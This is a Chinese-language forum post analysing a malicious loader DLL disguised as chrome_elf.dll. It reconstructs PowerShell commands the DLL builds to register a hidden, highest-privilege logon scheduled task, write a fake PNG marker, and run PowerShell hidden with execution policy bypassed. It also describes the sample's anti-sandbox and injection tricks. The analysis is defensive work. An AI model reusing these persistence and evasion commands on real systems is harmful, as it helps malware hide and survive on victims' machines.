本帖最后由 图钉鱼 于 2025-7-16 06:20 编辑
还是之前你发我那个黑DLL?那发这里算了。
仅看DLL,其他文件均不看。强沙箱对抗运行立即退出,无法偷懒,上静态分析。
该DLL达不到危险标准,只能算共犯帮忙加载解密恶意载荷,漏报正常,代码看着"干净”,添加大量无用指令拉低熵值,容易过启发式扫描。入库理由也充分,这是专属加载器,不杀说不过去。仅就行为来说,入库标准有模糊边界,因人而异。
chrome_elf.dll加载时DllMain会执行初始化操作,并调用两个核心功能函数:sub_180002260和sub_180003260。
先说两个主要函数
1.函数 sub_180002040:database.db数据库初始化与文件流操作
数据库连接与配置加载(C2通信或数据存储做准备)。
文件流初始化:
构造std::ifstream对象,虚表指向std::ifstream的标准虚函数表(地址??_7?$basic_ifstream@DU?$char_traits@D@std@@@std@@6B@)。
尝试打开本地文件database.db(路径硬编码于0x18000b6b0):
lea rdx, aDatabaseDb ; "database.db"
call sub_1800075E0 ; 封装的文件打开函数
若文件打开失败(通过good()状态检查),强制设置流状态为failbit:
call ?setstate@?$basic_ios@DU?$char_traits@D@std@@@std@@QEAAXH_N@Z
通过try块捕获资源分配异常(如内存不足),防止崩溃。
析构时依次调用:
std::streambuf::~streambuf()释放缓冲区资源。
std::istream::~istream()关闭输入流。
关联行为:
该函数被sub_180002260调用,用途包括:
读取预存储的恶意配置(如C2地址、加密密钥)。
验证感染状态(若database.db存在则跳过初始化)。
2. 函数 sub_180002260:恶意负载部署与持久化
核心攻击执行者,实现持久化、环境感知、负载释放。
环境检查:
先调用sub_180001AE0检查done.png是否存在。若存在(返回true),直接退出(避免重复感染)。
调用sub_180002040初始化数据库流。若失败则终止流程(依赖数据库配置)。
调用GetModuleFileNameA获取当前DLL路径(用于定位释放位置)。
构建恶意命令(关键步骤):
动态拼接PowerShell命令,通过多次调用sub_1800078D0(字符串追加拼接函数)避免完整命令静态暴露免杀处理。
计划任务创建(登录持久化):
$task = New-ScheduledTask -Action (New-ScheduledTaskAction -Execute "<DLL路径>") `
-Trigger (New-ScheduledTaskTrigger -AtLogon) `
-Principal (New-ScheduledTaskPrincipal -UserId $env:USERNAME -LogonType Interactive -RunLevel Highest)
Register-ScheduledTask -InputObject $task -TaskName "Runs scanner at logon" -Force
释放伪装文件(png):
[byte[]]$bytes = 0x89,0x50,0x4E,0x47,0x0D,0x0A,0x1A,0x0A # PNG文件头
[System.IO.File]::WriteAllBytes('done.png', $bytes)
隐蔽执行:
powershell.exe -NoProfile -WindowStyle Hidden -ExecutionPolicy Bypass -Command "
通过CreateProcessA启动PowerShell:
参数lpCommandLine指向拼接后的命令。
标志位CREATE_NO_WINDOW(0x08000000)隐藏窗口。
等待执行完成(WaitForSingleObject)并验证退出码(GetExitCodeProcess)。
释放动态分配的命符串内存(j_j_free)。
清空命令缓冲区(mov byte ptr [rsp+458h+lpCommandLine], 0)。
分段混淆:命令分多段构建,规避基于字符串的检测。
双重持久化:计划任务+文件标记确保幸存重启。
最小化痕迹:执行后立即清理内存中的命令数据。
沙箱环境检查
|检查 done.png| {文件是否存在?}
|存在| [退出]
|不存在| |打开 database.db| 成功?
|失败| [退出]
|成功| [构建PowerShell命令]
[CreateProcess执行]
|写入done.png| [完成互斥]
环境适配:检查done.png避免重复执行,依赖数据库配置。
持久化植入:通过计划任务实现开机自启。
反分析对抗:写入done.png作为成功标记,同时干扰沙箱分析。
负载就绪:数据库文件(database.db)后续被Base64解码函数(sub_180003260)读取,用于database.db中解密第二阶段负载。时间关系,我没解码这个。可能是正常文件也可能是恶意,恶意偏多。
关键函数
sub_180002260 持久化与反分析,创建登录时执行隐藏计划任务实现系统启动时的自启动,执行反沙箱检测(done.png文件检查)sub_180003260 数据处理 操作数据库文件(database.db/data.db/cache.db),实现Base64解码
sub_180001AE0 反分析机制 检测done.png文件存在性作为环境判断依据,检查特定文件的存在来规避分析环境。
sub_180001DC0 持久化标记 写入done.png文件(包含PNG魔术字节)
sub_180008D34 内存管理 封装malloc的动态内存分配,为恶意软件的动态数据处理提供内存分配服务。 sub_1800086F0 重组函数 在Base64解码过程中,负责将解码后的字节插入到目标缓冲区,是数据恢复的关键。 sub_180001F80 文件流析构(std::ofstream)。
关键操作流程
初始化(DllMain):
在DLL_PROCESS_ATTACH阶段调用sub_180002260和sub_180003260。
持久化与反分析(sub_180002260):
检查done.png文件(反分析)。
构建并执行隐藏PowerShell命令:
成功执行后调用sub_180001DC0写入done.png(进度标记)。
数据处理(sub_180003260):
获取工作目录,操作数据库文件。
通过位移操作(>> 4/<< 6等)和字节插入(sub_1800086F0)实现Base64解码。
支持函数与关键操作
字符串处理函数组
sub_180007BE0/sub_1800078D0/sub_1800080B0:实现字符串动态构造、追加、内存重分配。
sub_1800071A0:字符串清理与析构。
文件操作
sub_1800075E0 封装文件打开(_Fiopen)
sub_180007520 封装文件关闭(fclose)
sub_180001F80 文件流析构(std::ofstream)
功能
sub_1800090E0:迭代器结构,遍历数据并回调处理函数。
关键字符串与数据
Base64字符集 ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/
计划任务参数 -Hidden/-AtLogon/-RunLevel Highest/Runs scanner at logon
数据库文件 database.db/data.db/cache.db
PNG魔术字节 0x89,0x50,0x4E,0x47,0x0D,0x0A,0x1A,0x0A
可疑API引用 CreateRemoteThread/OpenProcess/ntdll!NtMapViewOfSection
1. 持久化机制
创建高权限隐藏计划任务,在用户登录时自启动。
2. 反沙箱分析技术
使用done.png文件作为环境检测标志。
3. 执行本体与恶意代码分离
关键数据经Base64编码存储(配置Payload数据库)。
4.注入下阶段攻击
导入进程注入API(CreateRemoteThread)及底层内存操作函数(ntdll.dll),notepad.exe进程注入。
|